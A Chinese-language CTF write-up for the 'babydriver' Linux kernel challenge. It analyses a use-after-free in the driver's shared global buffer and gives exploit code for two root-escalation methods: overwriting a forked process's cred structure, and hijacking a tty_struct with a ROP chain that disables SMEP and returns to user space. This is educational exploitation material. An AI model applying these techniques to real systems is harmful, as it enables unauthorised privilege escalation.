1.常规解包分析:
1 2 3 4 5 6 7
| //注释头
mkdir rootfs cd rootfs mv ../rootfs.cpio rootfs.cpio.gz //改名,方便gunzip识别格式 gunzip ./rootfs.cpio.gz //解压 cpio -idm < ./rootfs.cpio //再次解压
|
2.查看init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #注释头
#!/bin/sh
mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh
umount /proc umount /sys poweroff -d 0 -f
|
可以看到加载了/lib/modules/4.4.72/babydriver.ko模块,权限为1000即普通权限,但是flag在root/下,需要root权限,那么需要提权。
3.查看启动qemu命令:
1 2 3 4 5 6 7 8 9 10 11 12
| #!/bin/bash
qemu-system-x86_64\ -initrd rootfs.cpio\ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'\ -enable-kvm \ -monitor /dev/null \ -m 64M \ --nographic\ -smp cores=1,threads=1 \ -cpu kvm64,+smep\
|
很常规,唯一需要注意的是开启了smep保护
4.IDA打开分析加载的babydriver.ko模块,一般漏洞就在这里,这里就是UAF漏洞,漏洞点在全局变量的设置:
▲用到的知识点:这里由于是linux内核,那么当Linux内核模块链接到内核中,如果在Ko模块的源代码中它们具有全局变量,则每个全局变量只有一个副本,每个ko模块的设备程序共享这个全局变量
(1)由于babydev_struct是个全局变量,所以打开两个babydriver.ko设备之后,第一个设备程序fd1使用command == 0x10001调用babyioctl函数,申请堆块后,如果第二个设备程序fd2再调用babyioctl函数申请堆块,则会覆盖掉babydev_struct.device_buf。
(2)那么如果将第一个设备释放掉,则babydev_struct.device_buf指向的内存会被标记为释放状态,但是仍然可以通过fd2来修改这块内存,造成UAF。
(3)最开始通过调用babyioctl函数将这块内存大小修改为size的堆块,之后如果再申请size大小的内存,就会先将这块内存申请回来,然后我们还是可以通过UAF使用fd2来修改这块本不应该能修改的内存。
(4)这时就考虑将这块内存申请成什么样的内存来利用,这里一般有两种方法。
▲方法一:利用cred结构体
在kernel中,每一个进程都会创建一个cred结构体,用来存储进程的权限等信息
①修改size大小为cred结构体大小,再利用fork创建子进程,过程中会创建的cred结构体,那么就可以将这块内存变成子进程的cred结构体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| //注释头
// 打开两次设备,触发伪条件竞争 int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred) ioctl(fd1, 0x10001, 0xa8);
// 释放fd1 close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠 int pid = fork();
|
②之后修改子进程cred中的uid,gid为0,使其为root权限,即可将子进程提权。提权之后即可调用system(“/bin/sh”)获得root权限的shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| //注释头
if(pid < 0) { puts("[*] fork error!"); exit(0); }
else if(pid == 0) { // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0 char zeros[30] = {0}; write(fd2, zeros, 28);
if(getuid() == 0) { puts("[+] root now."); system("/bin/sh"); exit(0); } }
else { wait(NULL); } close(fd2);
|
▲方法二:打开设备ptmx,利用创建的tty_struct结构体和修改函数指针来ROP。
(一般ROP的调用需要关掉smep保护)
①修改size大小为tty_struct结构体大小,释放空间,之后用户空间打开ptmx设备,就会将这块内存申请为tty_struct结构体。
1 2 3 4 5 6 7
| //注释头
int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR); ioctl(fd1, 0x10001, 0x2e0); close(fd1); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
|
②修改tty_struct结构体中的const struct tty_operations *ops;指针指向用户空间伪造的fake_tty_operations结构体。
1 2 3 4 5
| //注释头
size_t fake_tty_struct[4] = {0}; read(fd2, fake_tty_struct, 32); fake_tty_struct[3] = (size_t)fake_tty_operations;
|
③将用户空间的fake_tty_operations中的write函数指针指向ROP链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| //注释头
void* fake_tty_operations[30]; -------------------------------------------------------------------- for(int i = 0; i < 30; i++) { fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; } fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret; fake_tty_operations[1] = (size_t)rop; fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret --------------------------------------------------------------------- int i = 0; size_t rop[32] = {0}; rop[i++] = 0xffffffff810d238d; // pop rdi; ret; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss;
|
④向ptmx设备写入内容,即可调用write函数从而调用ROP链。
⑤利用ROP链关掉semp保护,之后Ret2Usr即可。